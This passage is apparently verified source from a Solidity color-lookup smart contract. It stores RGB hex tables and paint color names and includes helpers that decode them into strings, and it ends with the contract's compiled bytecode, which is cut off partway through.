hex"7C3F3D7A494CB98E87784A535D363D8854747F495D502B465E2B35522E3C59222E6F26396221319044636B2C485D27484E1E3BA9507AB64473772855D093BF9A4B7EB0699981477F86448F83327261184A4F1C3EDCB1D8C67DBEC493D4C28BD7BA76CCA06EC19D58BAD7C0E0C7A0C9AC80C1C7A4DAB096D89A83CE9457B79543AD8134937842A8692F8A612B6E653A86663284602C6C542D76481F64724B8A55346259437B66478A5C3A766053A85746B542369B3C2A8A3C1E66775EC15236966030929384D49876CE7867BA9085C17E71B4B6B0D39681B1916699C7B1CEC39DA5C2A4C7B1829E9090B9977DA9705781A8AFD6909CC7777BB1626AA19DA4D45669B35450AB30338F7E8ED66573C9484DB931347E8590D85C78CE5473C93F5AC32E359A2930894976D33456BF1E45B725349114378B1B40801E4988193C771838681A3173004B8D00539C075DB20050871751A60E4B973B79CE2165BE1F73C8244B9C2074C2006CA90865AD005C9F095293114D955E9FEA338BD8007CB7007BBD0072B500599A6DBAE94EB0E442A7E60092CA1D86B71C6A9E1B6FA55FAFE4528DC8295C988DB3DF6199CB608DC5427FB53E62922C4A734374B9266AA32863A9799CD73F7EBC265E991C487E0A3A5D658DDD558AD64286DE5580D13D6EBA3960A185A5DC6F9BE67F9EDE9DBCEE7CA3D881ADE38AB0E9638ED04B74BBBBD6F08FBDEE8BB3DD4C98DBCFE5F5A3BFE29AB7E497ABDC6F93C4B5C3E496AFDE93A5CAC6D5ECA1B8D3596EA3476A8E7398CB5378AB657CB153709449577E22405D2A4469203B564E70B033568C0000002A40653D5793463D675D70B14151973A3D802F2E6A2F275B30446E1A2B641C2359292356343A721A3361253A71182A4A2938562A24472023452C3D5B2D355528233A36475F21283B264049322E46828BAB758DAC49667C000000243146202F3F5689B22F5A783251682E586B5D84AA5685A83B64832945651D3B5A4881A53E78954271A04170962C608748718D1F4C660B3A57286789025872065270AEBBD499B8D38DAECB7D9DBC688EB5BCDCEE97C5E496C0E772A1C9ADD0E79BC7E393CAE280C2E26EB5DB92BDE16CA1CF4C99CD4492BC2C85BD17719C005A840084BD0086BB067DB5007EB1005B883DB1DD0095C60082B5007CAF91DBF55AC4EE4FB5E14DB6DE26ACE224B9EA00A6CB00B6D90785AEBDE3F4ADDFF1AAD6EF79CDE3"; uint96 private constant COLOR_TOTAL_AMOUNT_10 = 291 * 10; bytes private constant COLOR_NAMES_11 = "FJORD BLUE|MOSAIC BLUE|TURKISH TILE|CELESTIAL|SAXONY BLUE|SEAPORT|CORSAIR|LYONS BLUE|MAUI BLUE|ALGIERS BLUE|CARIBBEAN SEA|ENAMEL BLUE|BLUE RADIANCE|SCUBA BLUE|PEACOCK BLUE|PORCELAIN BLUE|MILKY BLUE|BALLAD BLUE|TAPESTRY|LEGION BLUE|CAMEO BLUE|WINTER SKY|REEF WATERS|MEADOWBROOK|PORCELAIN|PLUME|AQUA HAZE|NILE BLUE|SALTWATER SLIDE|BLUE ELIXIR|CABANA BLUE|GULF STREAM|IPANEMA|ISLAND PARADISE|LIMPET SHELL|TIBETAN STONE|WATERSPOUT|AMAZONITE|LEISURE TIME|COASTAL SHADE|SEA JET|TAHITIAN TEAL|EXOTIC PLUME|TILE BLUE|BISCAY BAY|HARBOR BLUE|SHADED SPRUCE|BRITTANY BLUE|HYDRO|DRAGONFLY|BALSAM|CANAL BLUE|DUSTY TURQUOISE|TEAL|BLUE TINT|ARUBA BLUE|BLUE TURQUOISE|BALTIC|DIAPHONOUS|MINT JULEP|SPA RETREAT|WATER BALLET|COOLING OASIS|HONEYDOW|EGGSHELL BLUE|WAN BLUE|PALE BLUE|HINT OF MINT|HARBOR GRAY|AQUIFER|MINERAL BLUE|TRELLIS|SLATE|ABYSS|LEAD|TROOPER|GOBLIN BLUE|JADEITE|GREEN MILIEU|BALSAM GREEN|SEA PINE|MALLARD GREEN|BISTRO GREEN|PONDEROSA PINE|EVERGLADE|TEAL GREEN|PACIFIC|PALE NEEDLE|BAYBERRY|JUNE BUG|ALEXANDRITE|CHESAPEAKE BAY|GREEN HERON|GULF COAST|CANTON|AGATE GREEN|LATIGO BAY|PORCALAIN GREEN|BAYOU|CERAMIC|VIRIDIAN GREEN|TROPICAL GREEN|LAPIS|DEEP LAKE|POOL BLUE|TURQUOISE|LAGOON|WEEDS|FANFARE GREEN|POOL GREEN|SPECTRA GREEN|DYNASTY GREEN|COLUMBIA|TEAL BLUE|QUETZAL GREEN|BERMUDA|ELECTRIC GREEN|AQUA GREEN|ARCADIA|PARASAILING|BROOK GREEN|CABBAGE|BEVELED GLASS|OPAL|SPEARMINT|MINT LEAF|AQUA GLASS|YUCCA|BEACH GLASS|ICE GREEN|COCKATOO|FLORIDA KEYS|MOONLIGHT JADE|GLACIER|CASCADE|SMOKE GREEN|BERYL GREEN|DEEP JUNGLE|TIDEPOOL|IVY|CREAM MINT|BOTTLE GREEN|ANTIQUE GREEN|FOREST BIOME|MALACHITE|FIR|EVERGREEN|POSY GREEN|HUNTER GREEN|SMOKE PINE|RAIN FOREST|MARINE GREEN|ALHAMBRA|VIRIDIS|CADMIUM|ALPINE GREEN|WATER GARDEN|OCEAN FLOOR|SLUSHY|BEAR GRASS|AVENTURINE|EMERALD|GOLF GREEN|MINT|DEEP MINT|BOSPHORUS|LUSH MEADOW|NEPTUNE GREEN|KETYDID|SPRING BUD|JADE CREAM|BLARNEY|GUMDROP GREEN|LICHEN|GOSSAMER GREEN|GRAYED JADE|WINTER GREEN|WATER LILY|FAIREST JADE|MISTY JADE|MYSTIC BLUE|LILY WHITE|SUMMER SHOWER|MURMUR|MILKY GREEN|CELADON|AQUA FOAM|SILT GREEN|FROSTY GREEN|GRANITE GREEN|GREEN BAY|MERCURY|PIGEON|AQUA GRAY|ICEBERG GREEN|LILY PAD|LAUREL WREATH|DUCK GREEN|GARDEN TOPIARY|TREKKING GREEN|DARKEST SPRUCE|MOUNTAIN VIEW|PINE GROVE|SCARAB|AGAVE GREEN|CILANTRO|PINENEEDLE|SYCAMORE|BEETLE|CLIMBING IVY|KOMBU GREEN|ROSIN|LAUREL OAK|VETIVER|DEEP BARK|MULLED BASIL|CHIMERA|BELGIAN BLOCK|DRIED SAGE|SMOKEY OLIVE|SEAGRASS|FOG GREEN|TENDER GREENS|CELADON GREEN|LAUREL GREEN|RESEDA|HEDGE GREEN|SEA FOAM|SMOKE GREEN|MISTLETOE|GREEN EYES|WATERCRESS|ELM GREEN|BOK CHOY|MINERAL GREEN|COMFREY|MYRTLE|FOLIAGE GREEN|SPRAY|PASTEL GREEN|SPRUCESTONE|ZEPHYR GREEN|JADESHEEN|SHAMROCK|HEMLOCK|MEADOW|LIGHT GRASS|PEPPERMINT|ENGLISH IVY|GREENGAGE|GREENBRIAR|LEPRECHAUN|JELLY BEAN|JOLLY GREEN|VERDANT GREEN|GREEN BEE|FIRST TEE|ABUNDANT GREEN|FORMAL JACKET|NILE GREEN|PISTACHIO|SPRING BOUQUET|IRISH GREEN|ISLAND GREEN|BRIGHT GREEN|PATINA GREEN|SUMMER GREEN|POISON GREEN|CLASSIC GREEN|VIBRANT GREEN|KELLY GREEN|FERN GREEN|PARADISE GREEN|JASMINE GREEN|FOLIAGE|ONLINE LIME|TREETOP|JADE LIME|GREENERY|PIQUANT GREEN|WILLOW BOUGH|KALE|TWIST OF LIME|SALTED LIME|KELP FOREST|BANANA PALM|COURTYARD|DOUGLAS FIR"; bytes private constant COLOR_RGBS_11 = hex"00729000759100698B006380136C8C005E7D0E5C760058713CAFCC00859C00819D007A8E48D6E400B2CA00A4B782C8D861B1CEB8CFE4356B81164D6465A8B79FC4D55EAABA42ABB242AAB49CDAE474C5C965B5BCC6ECF781D3EA68BDD585D0E552C8D58BE7ED8EE7E874CED58CE1E868C7CD71CBD359B6C042BCCE00899B006E7F008D98007784006F7A0059603C8C973571801F6275285D698ECBD451B4B432949897E7E779E7E243C6C10CA7ABE4F7F4CCF4F1ADEEF396E7EDB2DEE1B5EED793D6D2C5E0E5BFE0E0D4EFE89DCBC272BBBB58A4A45496967AAAB17FAEAB6891A158858F4F7A8886B5A273A68E49746E3E7777346A66235950194144005B5D0063611661650057561C62611E524F00666C0E58621D5A640254645BB4B246B2A824A2A109978D157B7A00AAA9009499008B87008C8A00656B5CD0C832CBBB39B2AB007C7A006D7000AF9D009F8E008E80009288007F7C00686545DCBD21D5B100BCA100A68C00736CA4E9D07BE3C36CDABF60DFBA54CFAB00B992CDEDE195E5D48EECD47BE4C94AE0C436D3B5C1EBE3BEE5DD67D0BA62B9A951A692297E7B01787117776B5EB58F318E771E726311514B54AB882C7F68095F4F27665629614B3572600E4D432FB59800877800846B00675B005F560DB29B00847A008A7A00695B00534800987400876300A779009E6D007558006B5470CA9E55CD915FE5A24FC99400AC7822BE918FCEB3A9D8BC8FCEAA40B386DEEBD5D4E8D2B4E1C7BBE3D4E9E6D8E2EEE4CEE4D9C9E1CDAFD5B3A3D0B5A2CEB697C19E76B2926CA480B0CCB09DBBA298BFA77CAC8E6FA17A517F5E43785C2958482E5C5228454326452A1A3D341D3730638159385F4A295742224A3B5B64404353363B49293D3D26A3946C92895D6F6B46727A5358533C96B6A6A0A07279724E9FA978C3D6ACCADAACB3CE97A7C790A2C084659D62B3CCA89ACA987DAE6977A956679E54468344B3D3A66AB1684A8B5C417B562E7E5DB9E0B6ACE0A994CF916BC3755EB26260B4598BCF9C80CB896DC58856B15D55954A7CCF7D2FAD6927976200874F00784409704D008C4E00723B006339005D43A4D38CA3DE935DE1872DD8710FC56500A35BB3F1AC6BE47036CC5521C23442BD480BAB5C009246B2F4977CDA3374B33D38972D457624A7D8698CC3386FA43F53843E588039516E2160922E78962B4E7829396927325225"; uint96 private constant COLOR_TOTAL_AMOUNT_11 = 288 * 11; bytes private constant COLOR_NAMES_12 = "SAP GREEN|PARROT GREEN|KIWI|FLUORITE GREEN|CACTUS|ARCADIAN GREEN|BUD GREEN|TENDRIL|ASPEN GREEN|LETTUCE GREEN|OPALINE GREEN|MEADOW GREEN|MEDIUM GREEN|JUNIPER|REED|FOAM GREEN|FOREST SHADE|SHALE GREEN|DEEP GRASS|BASIL|LODEN FROST|DILL|EDEN|DARK GREEN|AMBROSIA|QUIET GREEN|FAIR GREEN|STONE GREEN|PINE GREEN|LIME CREAM|BUTTERFLY|LILY GREEN|NILE|SWEET PEA|FROST|SEEDING|MARGARITA|LEEK GREEN|FERN|DAIQUIRI GREEN|DARK CITRON|HERBAL GARDEN|SPINACH GREEN|SHARP GREEN|LOVE BIRD|ACID LIME|LIME PUNCH|TENDER SHOOTS|MACAW GREEN|PERIDOT|YELLOW PLUM|FRAGILE SPROUT|KIWI COLADA|WHITE GRAPE|TITANITE|SPINDLE TREE|CAMPSITE|SUNNY LIME|LIMEADE|WILD LIME|LIME GREEN|WAX YELLOW|LUMINARY GREEN|LIME SHERBET|CELERY GREEN|ICE|CANARY GREEN|SYLVAN GREEN|YOUNG WHEAT|CITRON|YELLOW PEAR|HAY|CUSTARD|DUSKY CITRON|CREAM GOLD|DUSTY YELLOW|PAMPAS|BURNISHED GOLD|CHARDONNAY|ENDIVE|GOLDEN GREEN|GREEN MOSS|CELERY|WARM OLIVE|CRESS GREEN|ANTIQUE MOSS|GOLDEN OLIVE|LINDEN GREEN|APPLE GREEN|GRENOBLE GREEN|OASIS|SPLIT PEA|CITRONELLE|PEAR LIQUEUR|AVOCADO OIL|CAMPING GEAR|GOLDEN CYPRESS|GREEN OASIS|PICKLED PEPPER|MOSS|LIMA BEAN|GUACAMOLE|WOODBINE|PALE GREEN|GREEN BANANA|PALM|CARDAMOM SEED|PEAT MOSS|SPHAGNUM|BEECHNUT|TARRAGON|EPSOM|TURTLE GREEN|CALLISTE GREEN|GRASSHOPPER|CALLA GREEN|ALOE WASH|LINT|SAGE|MOSSTONE|IGUANA|PESTO|CEDAR GREEN|WINTER PEAR|CEDAR|GREEN OLIVE|AVOCADO|CAPULET OLIVE|MAYFLY|OIL GREEN|OLIVINE|BRONZE GREEN|CHIVE|CYPRESS|WINTER MOSS|RIFLE GREEN|LODEN GREEN|FOUR LEAF CLOVER|BURNT OLIVE|IVY GREEN|KALAMATA|MILITARY OLIVE|DARK OLIVE|SEA TURTLE|GRAPE LEAF|GRAY GREEN|BOA|DRIED HERB|OLIVE DRAB|NUTRIA|LIZARD|MARTINI OLIVE|BOG|SAGE GREEN|SAGE GREEN|SLATE GREEN|OVERLAND TREK|ELM|ALOE|PALE OLIVE|TWILL|SPONGE|TREE HOUSE|ELMWOOD|GOTHIC OLIVE|SEA MIST|SOYBEAN|REED YELLOW|MARZIPAN|PARSNIP|MOONSTONE|DRIED MOSS|COCOON|KHAKI|FENNEL SEED|CAPERS|ANTELOPE|MUSTARD GOLD|ANTIQUE BRONZE|DULL GOLD|BUTTERNUT|TEAK|ECRU OLIVE|AMBER GREEN|BREEN|KANGAROO|BEECH|OLIVENITE|GREEN SULPHUR|GOLDEN PALM|DRIED TOBACCO|PLANTATION|RAFFIA|OIL YELLOW|BAMBOO SHOOTS|CEYLON YELLOW|LEMON CURRY|TAPENADE|MISTED YELLOW|SPICY MUSTARD|ARROWWOOD|TAWNY OLIVE|CHAI TEA|RATTAN|OCHRE|FALL LEAF|SAUTERNE|TINSEL|HARVEST GOLD|CUMIN|HONEY GOLD|MINERAL YELLOW|MANGO MOJITO|YELLOW BROWN|TAFFY|WOOD THRUSH|GOLDEN BROWN|BRONZE BROWN|RUBBER|MONK'S ROBE|BISTRE|ERMINE|OTTER|SEPIA|DESERT PALM|DARK EARTH|TAN|CARTOUCHE|TIGER'S EYE|MALT BALL|COCOA CREAM|FOXTROT|NEW WHEAT|CURRY|ICED COFFEE|APPLE CINNAMON|BONE BROWN|DIJON|APRICOT SHERBET|SUNBURST|OAK BUFF|SPRUCE YELLOW|INCA GOLD|APRICOT CREAM|BUFF ORANGE|CHAMOIS|WARM APRICOT|GOLDEN NUGGET|DESERT SUN|GOLDEN OAK|SUDAN BROWN|HONEY GINGER|THAI CURRY|PUMPKIN SPICE|CATHAY SPICE|PALE MARIGOLD|MARIGOLD|RADIANT YELLOW|BUTTERSCOTCH|CADMIUM YELLOW|YAM|TOPAZ|AMBER YELLOW|OLD GOLD|CITRUS|GOLD FUSION|SAFFRON|ZINNIA|SAHARA SUN|IMPALA|FLAX|AMBER|ARTISAN'S GOLD|BEESWAX|AUTUMN BLAZE|GOLDEN CREAM|JURASSIC GOLD|KUMQUAT|BANANA CREAM|CORNSILK|SAMOAN SUN|BUFF YELLOW|DAFFODIL|YOLK YELLOW|GOLDEN HAZE|YARROW|MIMOSA|LEMON CHROME|SPECTRA YELLOW|SOLAR POWER|GOLDEN ROD|SNAPDRAGON|ASPEN GOLD|DANDELION|LEMON|FREESIA|SUNSTRUCK|BEACH BALL|DAISY DAZE|CALENDULA|BUMBLEBEE|DAYLILY|GOLDFINCH|LEMON DROP|PRIMROSE YELLOW|LEMON ZEST|MAIZE|SULPHUR|SLICKER|PASSION FRUIT|MISTED MARIGOLD|DRIED DURIAN|GOLD FLAKE|YELLOW CREAM|GOLDEN KIWI|BUTTERCUP|BLAZING YELLOW|EMPIRE YELLOW|CYBER YELLOW|VIBRANT YELLOW|YELLOWTAIL|QUINCE|ILLUMINATING|INCABERRY|SNAKE EYE|YELLOW JASMINE|LIMELIGHT|CELANDINE|AURORA|ACACIA|GREEN SHEEN|MEADOWLARK|PEAR SORBET|PASTEL YELLOW|DOUBLE CREAM|FRENCH VANILLA|LEMONADE|YELLOW IRIS|ELFIN YELLOW|MELLOW YELLOW|POPCORN|PINEAPPLE SLICE|SUNDRESS|SUNSHINE|AFTERGLOW|FLAN|SOFT SAND|ITALIAN STRAW|STRAW|JOJOBA|RUTABAGA|BANANA CREPE|LAMB'S WOOL|INSTANT COFFEE|CORNHUSK|GOLDEN FLEECE|LEMON ICING|CREAM CLOUD|VANILLA|CHAMOMILE|APRICOT GELATO|BROWN BEIGE|PALE GOLD|RICH GOLD|COPPER|COPPER COIN|SILVER|ARCTIC WOLF"; bytes private constant COLOR_RGBS_12 = hex"BADF7792C33E78C1445D9F3E517E309ED48774C7508BB25974AC62C2DF84A4D36F70AB452E9047327D3BC4DF9BB3D3938ABD6C5EA5624593637AAF74619F5F5578361D5734275940CFEDC49AD08F86C17A53A0572D8660D9EFB5CDE79CCCDF8EBFC977B1BB57DEE7D1C1D496C2D988C6BD6BA9B354D5E66DAEBF3C9BBE479DAC3BD0F772D0EE38C4F11ECCEA21C2DF26C4E23581A334E4E74ACFD625CFE424B6D54298BC296F9E2F618B3DE6F97DE3EA4DCEE254A9D31FF5F4A9E9F49ED6E37ED3DB67E4EFDEDAE8C8EBEFC6E9ECA0E9E891F5F192DDD399F4E081F1D373ECC851DFD48FDCC26EBBA73EF0E790E5DE70CDBF59948237E4D23CDAC429D1BB28CDAC0EC1A22FD3CC62CCCA28B0B415B5B535ADAA2FC8BD13B0A911AA9320A79F2A898C21BCC63DAEB63EAEAE418D992586892C878C25D9DC88C5CD5BC1C14C817F257A772D6D6F31CFCE80AEBE6787A44F8D993E81893F80913B747B28D7DCAEC0C78CA1A75B939B4F8F9445616A2965732BBCC378A49D529E9B44726B27726E3771723381995C6E7946506C3B4E5D2B5B65336765354451297A804468744471693C645B366C623F6F5A2F62512B6B5B3C5B5D39B5A86AA294539583488376397E6A347E6A317F733FC7C089C1B779C1B779B1A16B9C8A5DB3AB7692844FC3B67AB7A172B7A468AA92639E814F8B7440E2CD99DDC692E7D199E2C293E1CB8FD9BA77DAC071D7B86EB69B51AB8B4476623DC29B53C3933EA17D4392722F896B35715335A18532AA872A825E2E7F6339665230D4B553C09620AF8B00A98128876825E6CA77D6AF35E3B83BE7B41EDDA90C8C6018E7BF57E9B536CC940FD69D1AC2881EDFB764E5B357D8AD5BD6A942D59A3BC58D23A27530E6A538E4A032E9A21CDC9405D39D5AB580329F69218F60228F5B297B4817A97739936C3F8E674078543165462867482EC69564BA8A56AA7C4E916742986B479A6639E4B872CCA059C29059C28948AE7535A8773BFFCD99FFC280DE9D54D08C38CC7C1BFBBD7FFFBB7CFFB262FFB865EA9B4ADA7517D0751BBC6B19B66209BA690AAE5C09A96725FFC66EFFAC51FF9E1EF2972FFF9815E2892DE28132FFB855EFAD00FFB025FFB000FFA500FFA010EAC37FFFCF90FFC87DFDAF47FFAD39FAAA42EC951BFFC160F5AC48FFAA48FFD372F9C767FFC95BFFC75FFFC849F3B53BFFDC92FFD068FEC54DFFC300FFC007FFC42FF4AF17FFD776FFD662FFD100FFCD10FFC720FFD243FFCB53FBC80FF0B925E7B200E9A900FFE065FFD976FFD64CFFE458FDD134EFC102FFD62BEDCD29F4C722D7AC00CB9B03FBE469FFE632FFE437FFE814F6D300FFD400FFDA29F9E259FBDF0CFFE643E9C700DFC71FDBB900FEF771F8EA5AFBE84BEBDD53E9DB42F9E53FF8EDBEF9EAAAFAE3A5F7E69FF8EE95FEF78DF8F68FF8E295FFE286F1D887F5D37FFFE280F8E8C4FCE6AEF8DD9CF0D498EBCD88E6C375F2DFB8EFD5A5EDD1A9F2D5A6F9D7A7FAD398FBEEC3ECE0BFF9E9C1F0D29FFCD8A8C19E7FCE9B54D7B964C0643BB54C30B0B093EBE0CA"; uint96 private constant COLOR_TOTAL_AMOUNT_12 = 368 * 12; function totalAmount() public pure override returns (uint96) { return COLOR_TOTAL_AMOUNT_11 + COLOR_TOTAL_AMOUNT_12 + COLOR_TOTAL_AMOUNT_10; } function getColor(uint128 id) public pure override returns (Color memory) { uint96 accAmount = 0; if (id < accAmount + COLOR_TOTAL_AMOUNT_10) { id -= accAmount; return _getColor(COLOR_NAMES_10, COLOR_RGBS_10, id / 10); } accAmount += COLOR_TOTAL_AMOUNT_10; if (id < accAmount + COLOR_TOTAL_AMOUNT_11) { id -= accAmount; return _getColor(COLOR_NAMES_11, COLOR_RGBS_11, id / 11); } accAmount += COLOR_TOTAL_AMOUNT_11; if (id < accAmount + COLOR_TOTAL_AMOUNT_12) { id -= accAmount; return _getColor(COLOR_NAMES_12, COLOR_RGBS_12, id / 12); } accAmount += COLOR_TOTAL_AMOUNT_12; revert("ColorProviderBravo: color index exceeds boundary"); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "./Color.sol"; abstract contract IColorProvider { function totalAmount() public pure virtual returns (uint96); function getColor(uint128 id) public pure virtual returns (Color memory); bytes16 private constant HEX_ALPHABET = "0123456789ABCDEF"; function _getColor( bytes memory names, bytes memory rgbs, uint128 index ) internal pure returns (Color memory) { return Color({ rgb: string(getColorRgb(rgbs, index)), name: string(getColorName(names, index)) }); } function getColorName(bytes memory names, uint128 index) internal pure returns (bytes memory) { bytes memory result; uint256 startIndex = 0; uint256 endIndex = 0; // Find start index for (; startIndex < names.length && index > 0; startIndex++) { if (names[startIndex] != "|") continue; index--; } // Find end index. Either next delimeter or terminator. for (endIndex = startIndex + 1; endIndex < names.length && names[endIndex] != "|"; endIndex++) {} for (; startIndex < endIndex; startIndex++) { result = abi.encodePacked(result, names[startIndex]); } return result; } function getColorRgb(bytes memory rgbs, uint128 index) internal pure returns (bytes memory) { uint256 startIndex = 3 * uint256(index); return abi.encodePacked( HEX_ALPHABET[(uint8(rgbs[startIndex + 0]) >> 4) & 0xF], HEX_ALPHABET[uint8(rgbs[startIndex + 0]) & 0xF], HEX_ALPHABET[(uint8(rgbs[startIndex + 1]) >> 4) & 0xF], HEX_ALPHABET[uint8(rgbs[startIndex + 1]) & 0xF], HEX_ALPHABET[(uint8(rgbs[startIndex + 2]) >> 4) & 0xF], HEX_ALPHABET[uint8(rgbs[startIndex + 2]) & 0xF]); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; struct Color { string rgb; string name; }
0x608060405234801561001057600080fd5b50600436106100365760003560e01c80631a39d8ef1461003b578063a5d77bae14610065575b600080fd5b610043610085565b6040516bffffffffffffffffffffffff90911681526020015b60405180910390f35b6100786100733660046107ed565b6100a7565b60405161005c9190610899565b6000610b5e610098611140610c60610928565b6100a29190610928565b905090565b604080518082019091526060808252602082015260006100c9610b5e82610928565b6bffffffffffffffffffffffff16836fffffffffffffffffffffffffffffffff16101561015c576101086bffffffffffffffffffffffff821684610958565b925061015560405180610d200160405280610ce381526020016121f7610ce39139604051806103a001604052806103698152602001612eda6103699139610150600a87610989565b610339565b9392505050565b610168610b5e82610928565b9050610176610c6082610928565b6bffffffffffffffffffffffff16836fffffffffffffffffffffffffffffffff1610156101fd576101b56bffffffffffffffffffffffff821684610958565b925061015560405180610c800160405280610c5b8152602001613243610c5b91396040518061038001604052806103608152602001610b2e6103609139610150600b87610989565b610209610c6082610928565b905061021761114082610928565b6bffffffffffffffffffffffff16836fffffffffffffffffffffffffffffffff16101561029e576102566bffffffffffffffffffffffff821684610958565b925061015560405180610f400160405280610f198152602001610e8e610f1991396040518061048001604052806104508152602001611da76104509139610150600c87610989565b6102aa61114082610928565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f436f6c6f7250726f7669646572427261766f3a20636f6c6f7220696e6465782060448201527f6578636565647320626f756e6461727900000000000000000000000000000000606482015290915060840160405180910390fd5b60408051808201909152606080825260208201526040518060400160405280610362858561037b565b81526020016103718685610647565b9052949350505050565b6060600061039c6fffffffffffffffffffffffffffffffff841660036109df565b90507f30313233343536373839414243444546000000000000000000000000000000006004856103cd846000610a1c565b815181106103dd576103dd610a34565b60209101015160f81c901c600f16601081106103fb576103fb610a34565b1a60f81b7f30313233343536373839414243444546000000000000000000000000000000008561042c846000610a1c565b8151811061043c5761043c610a34565b60209101015160f81c600f166010811061045857610458610a34565b1a60f81b7f303132333435363738394142434445460000000000000000000000000000000060048761048b866001610a1c565b8151811061049b5761049b610a34565b60209101015160f81c901c600f16601081106104b9576104b9610a34565b1a60f81b7f3031323334353637383941424344454600000000000000000000000000000000876104ea866001610a1c565b815181106104fa576104fa610a34565b60209101015160f81c600f166010811061051657610516610a34565b1a60f81b7f3031323334353637383941424344454600000000000000000000000000000000600489610549886002610a1c565b8151811061055957610559610a34565b60209101015160f81c901c600f166010811061057757610577610a34565b1a60f81b7f3031323334353637383941424344454600000000000000000000000000000000896105a8886002610a1c565b815181106105b8576105b8610a34565b60209101015160f81c600f16601081106105d4576105d4610a34565b6040517fff00000000000000000000000000000000000000000000000000000000000000978816602082015295871660218701529386166022860152918516602385015284166024840152901a60f81b909116602582015260260160405160208183030381529060405291505092915050565b6060806000805b85518210801561067057506000856fffffffffffffffffffffffffffffffff16115b156106fa5785828151811061068757610687610a34565b6020910101517fff00000000000000000000000000000000000000000000000000000000000000167f7c00000000000000000000000000000000000000000000000000000000000000146106da576106e8565b846106e481610a63565b9550505b816106f281610aad565b92505061064e565b610705826001610a1c565b90505b855181108015610771575085818151811061072557610725610a34565b6020910101517fff00000000000000000000000000000000000000000000000000000000000000167f7c0000000000000000000000000000000000000000000000000000000000000014155b15610788578061078081610aad565b915050610708565b808210156107e357828683815181106107a3576107a3610a34565b602001015160f81c60f81b6040516020016107bf929190610ae6565b604051602081830303815290604052925081806107db90610aad565b925050610788565b5090949350505050565b6000602082840312156107ff57600080fd5b81356fffffffffffffffffffffffffffffffff8116811461015557600080fd5b60005b8381101561083a578181015183820152602001610822565b83811115610849576000848401525b50505050565b6000815180845261086781602086016020860161081f565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b6020815260008251604060208401526108b5606084018261084f565b905060208401517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08483030160408501526108f0828261084f565b95945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006bffffffffffffffffffffffff80831681851680830382111561094f5761094f6108f9565b01949350505050565b60006fffffffffffffffffffffffffffffffff83811690831681811015610981576109816108f9565b039392505050565b60006fffffffffffffffffffffffffffffffff808416806109d3577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b92169190910492915050565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615610a1757610a176108f9565b500290565b60008219821115610a2f57610a2f6108f9565b500190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006fffffffffffffffffffffffffffffffff821680610a8557610a856108f9565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0192915050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415610adf57610adf6108f9565b5060010190565b60008351610af881846020880161081f565b7fff0000000000000000000000000000000000000000000000000000000000000093909316919092019081526001019291505056fe00729000759100698b006380136c8c005e7d0e5c760058713cafcc00859c00819d007a8e48d6e400b2ca00a4b782c8d861b1ceb8cfe4356b81164d6465a8b79fc4d55eaaba42abb242aab49cdae474c5c965b5bcc6ecf781d3ea68bdd585d0e552c8d58be7ed8ee7e874ced58ce1e868c7cd71cbd359b6c042bcce00899b006e7f008d98007784006f7a0059603c8c973571801f6275285d698ecbd451b4b432949897e7e779e7e243c6c10ca7abe4f7f4ccf4f1adeef396e7edb2dee1b5eed793d6d2c5e0e5bfe0e0d4efe89dcbc272bbbb58a4a45496967aaab17faeab6891a158858f4f7a8886b5a273a68e49746e3e7777346a66235950194144005b5d0063611661650057561c62611e524f00666c0e58621d5a640254645bb4b246b2a824a2a109978d157b7a00aaa9009499008b87008c8a00656b5cd0c832cbbb39b2ab007c7a006d7000af9d009f8e008e80009288007f7c00686545dcbd21d5b100bca100a68c00736ca4e9d07be3c36cdabf60dfba54cfab00b992cdede195e5d48eecd47be4c94ae0c436d3b5c1ebe3bee5dd67d0ba62b9a951a692297e7b01787117776b5eb58f318e771e726311514b54ab882c7f68095f4f27665629614b3572600e4d432fb59800877800846b00675b005f560db29b00847a008a7a00695b00534800987400876300a779009e6d007558006b5470ca9e55cd915fe5a24fc99400ac7822be918fceb3a9d8bc8fceaa40b386deebd5d4e8d2b4e1c7bbe3d4e9e6d8e2eee4cee4d9c9e1cdafd5b3a3d0b5a2ceb697c19e76b2926ca480b0ccb09dbba298bfa77cac8e6fa17a517f5e43785c2958482e5c5228454326452a1a3d341d3730638159385f4a295742224a3b5b64404353363b49293d3d26a3946c92895d6f6b46727a5358533c96b6a6a0a07279724e9fa978c3d6accadaacb3ce97a7c790a2c084659d62b3cca89aca987dae6977a956679e54468344b3d3a66ab1684a8b5c417b562e7e5db9e0b6ace0a994cf916bc3755eb26260b4598bcf9c80cb896dc58856b15d55954a7ccf7d2fad6927976200874f00784409704d008c4e00723b006339005d43a4d38ca3de935de1872dd8710fc56500a35bb3f1ac6be47036cc5521c23442bd480bab5c009246b2f4977cda3374b33d38972d457624a7d8698cc3386fa43f53843e588039516e2160922e78962b4e782939692732522553415020475245454e7c504152524f5420475245454e7c4b4957497c464c554f5249544520475245454e7c4341435455537c415243414449414e20475245454e7c42554420475245454e7c54454e4452494c7c415350454e20475245454e7c4c45545455434520475245454e7c4f50414c494e4520475245454e7c4d4541444f5720475245454e7c4d454449554d20475245454e7c4a554e495045527c524545447c464f414d20475245454e7c464f524553542053484144457c5348414c4520475245454e7c444545502047524153537c424153494c7c4c4f44454e2046524f53547c44494c4c7c4544454e7c4441524b20475245454e7c414d42524f5349417c515549455420475245454e7c4641495220475245454e7c53544f4e4520475245454e7c50494e4520475245454e7c4c494d4520435245414d7c425554544552464c597c4c494c5920475245454e7c4e494c457c5357454554205045417c46524f53547c53454544494e477c4d41524741524954417c4c45454b20475245454e7c4645524e7c444149515549524920475245454e7c4441524b20434954524f4e7c48455242414c2047415244454e7c5350494e41434820475245454e7c534841525020475245454e7c4c4f564520424952447c41434944204c494d457c4c494d452050554e43487c54454e4445522053484f4f54537c4d4143415720475245454e7c50455249444f547c59454c4c4f5720504c554d7c46524147494c45205350524f55547c4b49574920434f4c4144417c57484